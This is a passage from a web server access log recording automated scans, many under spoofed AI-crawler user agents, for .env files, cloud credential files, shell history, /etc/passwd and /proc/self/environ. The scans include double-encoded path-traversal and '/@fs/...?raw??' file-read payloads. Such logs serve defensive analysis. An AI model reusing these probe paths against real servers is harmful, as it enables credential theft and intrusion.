-0700] "GET /gradle.properties HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.8688.54 Safari/537.36; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /gcp-service.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Chrome/126.0.6122.132 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:19 -0700] "GET /.gradle/gradle.properties HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:33:20 -0700] "GET /.env.prod HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6614.193 Safari/537.36; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:33:20 -0700] "GET /.env~ HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.3494.83 Safari/537.36; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.26.120.174 - - [09/Sep/2026:22:33:20 -0700] "GET /application.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4777.138 Safari/537.36; compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.26.120.174 - - [09/Sep/2026:22:33:20 -0700] "GET /_next/static/../.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:33:20 -0700] "GET /_next/../.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:33:20 -0700] "GET /.bash_history HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/91.0.7776.32 Safari/537.36 Edg/91.0.7776.32" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /.zsh_history HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /.bash_profile HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /.gcp/credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6293.61 Safari/537.36; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /google-cloud-key.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /.gcp/service-account.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Version/16.7 Mobile/15E148 Safari/604.1" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /gcp-service-account.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/128.0.4396.210 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /application_default_credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; TelegramBot/1.0) Version/18.5 Mobile/15E148 Safari/604.1" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /service-principal.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /azure-credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.3784.63 Safari/537.36; compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /.env.vault HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /config/master.key HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /.env.openai HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /.flaskenv HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/114.0.5339.50 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /.env.anthropic HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.730.206 Safari/537.36; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /openai.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.281.39 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.26.120.174 - - [09/Sep/2026:22:33:23 -0700] "GET /anthropic.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /media../.azure/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /config/anthropic.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.7) Gecko/20100101 Firefox/128.7; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /secrets.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.253.93 Mobile Safari/537.36; compatible; GPTBot/1.2; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /_next/../.azure/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /static../.azure/accessTokens.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.5920.201 Mobile Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /azure.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.18) Gecko/20100101 Firefox/149.18; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /@fs/home/azureuser/.azure/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com) Chrome/128.0.2784.191 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /home/ubuntu/.azure/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot) Chrome/136.0.4847.74 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /home/ubuntu/.azure/accessTokens.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /sendgrid.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /home/azureuser/.azure/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /@fs/proc/self/cwd/.azure/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.17) Gecko/20100101 Firefox/149.17; compatible; GPTBot/1.2; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /config.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /.azure/config HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.4459.213 Safari/537.36 Edg/133.0.4459.213; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /static../.azure/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots)" 34.26.120.174 - - [09/Sep/2026:22:33:27 -0700] "GET /config/openai.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Twitterbot/1.0" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /client/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /app/.env.production HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /backup/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /app/.env.local HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.876.248 Safari/537.36 Edg/118.0.876.248; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /dev/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /production/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.3488.116 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /.github/workflows/deploy.yml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /.gitlab-ci.yml HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /staging/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /.azure/accessTokens.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.2269.5 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /.env.docker HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:127.7) Gecko/20100101 Firefox/127.7; compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /creds.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/130.0.1271.124 Safari/537.36 Edg/130.0.1271.124" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /.azure/azureProfile.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.2) Gecko/20100101 Firefox/149.2; compatible; GPTBot/1.2; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /secret.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /aws-credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot) Chrome/147.0.8883.12 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:33:32 -0700] "GET /appsettings.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.3083.191 Mobile Safari/537.36; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:33:35 -0700] "GET /service-account-key.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Version/19.5 Safari/605.1.15" 34.26.120.174 - - [09/Sep/2026:22:33:35 -0700] "GET /service_account.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.7551.47 Safari/537.36; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot" 34.26.120.174 - - [09/Sep/2026:22:33:35 -0700] "GET /appsettings.Development.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot) Chrome/118.0.5514.199 Safari/537.36 Edg/118.0.5514.199" 34.26.120.174 - - [09/Sep/2026:22:33:35 -0700] "GET /appsettings.Production.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php" 34.26.120.174 - - [09/Sep/2026:22:33:35 -0700] "GET /client_secret.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.5267.125 Safari/537.36 Edg/151.0.5267.125; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /keyfile.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /google-service-account.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /firebase-service-account.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /firebase-admin.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.7586.184 Mobile Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /firebase.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6558.200 Safari/537.36 Edg/134.0.6558.200; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /api/keys.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /api-keys.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /api/config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /api/openapi.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /app/config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.1102.56 Safari/537.36; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.26.120.174 - - [09/Sep/2026:22:33:36 -0700] "GET /backend/config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.3743.19 Safari/537.36 Edg/130.0.3743.19; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 185.127.217.175 - - [09/Sep/2026:22:42:39 -0700] "GET /wp-login.php HTTP/1.1" 200 7489 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 138.246.253.24 - - [09/Sep/2026:22:42:47 -0700] "GET /robots.txt HTTP/1.1" 200 26 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36" 94.154.43.74 - - [09/Sep/2026:22:50:55 -0700] "GET /.env HTTP/1.1" 404 48324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 31.171.130.159 - - [09/Sep/2026:23:05:23 -0700] "GET / HTTP/1.1" 200 38993 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0" 195.178.110.65 - - [09/Sep/2026:23:15:55 -0700] "GET /health/readiness HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 195.178.110.65 - - [09/Sep/2026:23:15:55 -0700] "GET /api/session/properties HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 178.120.9.36 - - [09/Sep/2026:23:31:01 -0700] "GET /wp-login.php HTTP/1.1" 200 7489 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" 54.204.56.173 - - [10/Sep/2026:01:06:46 -0700] "GET /.env HTTP/1.1" 404 48322 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 85.22.115.245 - - [10/Sep/2026:01:36:48 -0700] "GET /wp-login.php HTTP/1.1" 200 7489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 165.154.151.176 - - [10/Sep/2026:01:41:40 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 165.154.151.176 - - [10/Sep/2026:01:41:45 -0700] "GET /favicon.ico HTTP/1.1" 503 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 165.154.151.176 - - [10/Sep/2026:01:41:51 -0700] "GET /robots.txt HTTP/1.1" 503 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 94.154.43.125 - - [10/Sep/2026:01:57:42 -0700] "GET /.env HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 94.154.43.125 - - [10/Sep/2026:01:57:42 -0700] "GET /.env HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 94.154.43.125 - - [10/Sep/2026:01:57:42 -0700] "GET /.env HTTP/1.1" 200 38986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 94.154.43.180 - - [10/Sep/2026:01:57:42 -0700] "GET /.env HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 94.154.43.122 - - [10/Sep/2026:01:57:42 -0700] "GET /.env HTTP/1.1" 200 38998 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET / HTTP/1.1" 200 12079 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET / HTTP/1.1" 200 12078 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/app/.env?raw?? HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.14) Gecko/20100101 Firefox/128.14; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/etc/passwd?raw?? HTTP/1.1" 200 12101 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Chrome/109.0.2596.36 Safari/537.36 Edg/109.0.2596.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/root/.env?raw?? HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Applebot/0.1; +http://www.apple.com/go/applebot) Chrome/91.0.8475.114 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/.env?raw?? HTTP/1.1" 200 12098 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET / HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/140.0 Mobile/15E148 Safari/605.1.15" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/src/.env?raw?? HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Chrome/131.0.7171.46 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/proc/self/environ?raw?? HTTP/1.1" 200 12108 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.4 Safari/605.1.15; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1" 200 12108 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/root/rootkey.csv?raw?? HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/..%252f..%252f..%252f..%252f..%252fapp/.env?raw?? HTTP/1.1" 200 12103 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.935.180 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/../.env?raw?? HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot) Chrome/131.0.4895.131 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/../../.env?raw?? HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:35 -0700] "GET /@fs/app/rootkey.csv?raw?? 